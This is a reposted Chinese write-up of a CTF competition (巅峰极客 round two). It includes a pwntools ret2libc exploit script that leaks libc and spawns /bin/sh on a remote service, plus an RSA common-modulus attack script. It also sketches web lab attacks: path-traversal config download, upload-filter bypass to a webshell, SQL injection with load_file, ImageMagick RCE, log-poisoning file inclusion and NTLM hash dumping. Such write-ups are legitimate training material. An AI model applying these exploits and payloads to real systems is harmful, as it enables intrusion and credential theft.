内容简介:CTF题目simple sqlihttp://106.75.119.132/register.php
题目
CTF题目
sqli
simple sqli
http://106.75.119.132/register.php
注册用户admin后面加上空格
然后登陆
word
题目说明
按照提示关注公众号
获取部分flag,接着下载word
鼠标放到文字末尾 字体中获取另一部分flag
PlainR2B
Do u believe ida? od?
程序保护:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
No canary found且给了libc
看主要函数:
int game()
{
int result; // eax
char buf; // [esp+Ch] [ebp-1Ch]
puts("First, what's your name?");
if ( read(0, &name, 0x14u) > 19 )
{
puts("Oh, your name too loooooong...");
exit(0);
}
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
printf("%s, do you want to get flag?\n", &name);
read(0, &buf, 0x34u);
if ( !strcmp(&buf, "yes") || (result = strcmp(&buf, "YES")) == 0 )
result = printf("OK,the flag is flag{%s}, enmmm... but is true?", "WorkToWeekT_T");
return result;
}
buf可以覆盖返回地址
我们可以分两步:
1 返回地址覆盖为printf(func_got)/write(1,func_got,4)来leak libc,并将printf/write返回地址设为game_addr用于复用漏洞
2 复用过程覆盖返回地址为system("/bin/sh")
EXP:
from pwn import *
#context.log_level = 'debug'
#p=process("./pwn")
elf=ELF("./pwn")
lib=ELF("./libc-2.23.so")
p=remote("117.50.60.184",12345)
p.recvuntil("what's your name?")
p.sendline("/bin/sh")
p.recvuntil("flag?")
payload='A'*28+p32(0xfffde000) +p32(elf.plt["printf"])+p32(0x80485cb)+p32(elf.got["printf"])
p.sendline(payload)
p.recv(1)
printf_addr=u32(p.recv(4))
system_addr=printf_addr-lib.symbols["printf"]+lib.symbols["system"]
p.sendline("/bin/sh")
p.recvuntil("flag?")
payload2="A"*28+p32(0xfffde000)+p32(system_addr)+p32(system_addr)+p32(0x804a06c)
p.sendline(payload2)
p.interactive()
Antidbg
Welcome to my game,please pwn me
大致判断sub_4011A0为判断函数
找到函数,F5提示:positive sp value has been found
stack pointer发现:
存在-90,在.text:004012AC处**ALT+K**修复一下sp指针,直接添负号
修改后F5看伪代码:
if ( strlen(Dst) == 42 )
{
v1 = 0;
v3 = xmmword_4021C0;
v5 = 34080258;
v4 = xmmword_4021B0;
v6 = 33882121;
v7 = 3330;
while ( Dst[v1] >> 4 == dword_403018[byte_402178[v1]] && (Dst[v1] & 0xF) == dword_402138[*((char *)&v3 + v1)] )
{
if ( ++v1 >= 42 )
{
v9 = 1667462515;
v10 = 7566181;
goto LABEL_8;
}
}
很清楚的逻辑,v3v4v5v6v7分别定义,但在内存中连续形成key1,不过dword_403018中值过小,都是2,猜测应该是程序在此前会修改此处,动态调试中导出dword_403018即可:
key1="060C01070B00060201060107020D050103030D040301000D080801020D0700010206080209000502020d00"
key2="02020202030101020101020101000101020200010101010001010202000101020201010101010201010300"
key3="2367"
flag=""
for i in range(42):
l=int(key1[i*2:i*2+2],16)&0xf
k=int(key2[i*2:i*2+2])
h=int(key3[k])<<4
flag+=chr(h+l)
rsa
simple rsa
RSA共模攻击
# -*- coding: utf-8 -*-
#from libnum import n2s,s2n
from gmpy2 import invert
# 欧几里得算法
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def main():
n = 17362520124149736059291605717839814089431261833972408175766504894876091272021197374480215582589878198406028065354454242540322618614670160317701698407729515781811530180885334265851364490357884909336085410775168953942120359215038925025305363480538685487988827339463890539279008285241711326041868183805848503077373967082910932422798165242481154593794712639251157856102009630894845049984346776659339380886766804814959778048440996937820138560802077375885700500737699904011032451007341777160586467318264288370080315519305800247682611802774996999330812534723806925426052547128371180683265963525581842037399869323246530085399
c1 = 11757177168629974661319129065020939259607843855964612407515015619551332717303594939284265148421101106538576564879770344246694669035164564635188309876801896156214909946098869029964618647606449218025915092461416329529723153695631060387903820322776063152970417682658882514448192870115306139048632667164375339647480060498038060662339943872320998391726896418231367745182167642401094985859083528539732718585607300300744481583877075988159078923393794888199752412273065186387778708588318818871255432956112609603017152148063465689319082652284861285738454428311471661017770501362483439955249552527930663707069794266908382237863
c2 = 2364848878397323871885597084235162950454738150033561990125608234733186785294327511676322556989693319543787881108157790541032502889824032246849038028277601291878651138223131738210948288040172974610279550123399373111991951111719314902078119305973622147396199257818150347936553495169543808071509800280778646769553776723985138633331947024508645378935223338224527962766707863670722941767067705851822587652625805245801727869961524972624327839027498877534264770109063202217409037083612774983213841234965045214820133529399280883524064963136158251681946077429913578531311243649928666453318570284124743168193304356485791847813
e1 = 2333
e2 = 23333
s = egcd(e1, e2)
s1 = s[1]
s2 = s[2]
# 求模反元素
if s1<0:
s1 = - s1
c1 = invert(c1, n)
elif s2<0:
s2 = - s2
c2 = invert(c2, n)
m = pow(c1,s1,n)*pow(c2,s2,n) % n
print hex(m)[2:].replace('l','').decode('hex')
# print n2s(m)
if __name__ == '__main__':
main()
抛砖引玉
第二题-拿下数据
2.提交系统用户/ichunqiu的密码
解题思路
打开发现是PHPOA,然后搜寻资料得知phpoa有任意文件下载,直接下载config.php即可
/down.php?urls=data/../config.php
暗渡成仓
虚实相接,需要出题者以声东击西的招式准备的歧路,找到正确的栈道。
第一题-初探后台
1.提交后台管理员密码
解题思路
扫描发现存在上传点,上传 php 发现无法上传,利用大写即可绕过然后getshell
第二题- 获取用户
2.提交系统管理员Hack的全名
解题思路
getshell后直接net user即可得到
第三题-日志收集
3.超级管理员用户桌面根目录admin.txt文件的内容
解题思路
getshell后发现为最高权限,直接菜刀找到c:\documents and sttings\administrator\桌面\admin.txt,读取即可
瞒天过海
目的不是为了瞒天,只是做出题目的一种手段。
第一题-初探后台
1.提交后台管理员密码
解题思路
发现存在注入,直接注入得知有users表,表中有id,login,password列,然后注入获得密码
第二题- 获得密码
2.提交 mysql 密码
解题思路
注入点权限为root,直接读取mysql.user的password列,然后反解mysql的hash
第三题-DB提权
3.提交C盘根目录password.txt
解题思路
利用注入点直接load_file()即可
偷梁换柱
赛题是那样无情残忍,无义无理取闹,稍有踟蹰,他就偷梁换柱。
第一题-信息收集
1.提交后台admin用户的密码
解题思路
扫描发现存在/.git/目录,利用githack下载下来源码,源码中发现默认的 sql 文件,里面有账户密码
第二题-用户泄漏
2.提交系统管理员ichunqiu的全名
解题思路
登陆后台后,发现有上传地方,查看源代码中,发现classes/picuure.php中用到了ImageMagick,直接用现成的exp即可rce。读取/etc/passwd即可
第三题-程序逻辑
3.提交/tmp/access.log的内容
解题思路
同样ImageMagick,直接读取/tmp/access.log
反客为主
以静谋动,反客为主,掌握真正的大权,才能不任人摆布。
第一题-文件读取
1.提交phpStudy目录下Documents.txt的内容
解题思路
打开后扫描发现有文件包含,直接包含Document.txt文件就可以看到内容
第二题-抓取密码
2.提交系统用户/ichunqiu的密码
解题思路
利用包含漏洞,包含access.log来getshell,然后利用 工具 读取NTLM hash,反解后得到明文
第三题-尝试登陆
3.提交ichunqiu用户Desktop根目录password.txt的内容
解题思路
getshell后发现权限是administrator,直接菜刀里打开ichunqiu账户的桌面就可以看到
以上所述就是小编给大家介绍的《巅峰极客第二场 WriteUp》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 团队建设活动:巅峰故事
- 编程语言的巅峰
- 【巅峰对决】MappedByteBuffer VS FileChannel
- 2020 开年,C 语言重回巅峰王座
- 码农翻身之编程语言的巅峰
- APM 巅峰对决:Skywalking P.K. Pinpoint
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Agile Web Application Development with Yii 1.1 and PHP5
Jeffrey Winesett / Packt Publishing / 2010-08-27
In order to understand the framework in the context of a real-world application, we need to build something that will more closely resemble the types of applications web developers actually have to bu......一起来看看 《Agile Web Application Development with Yii 1.1 and PHP5》 这本书的介绍吧!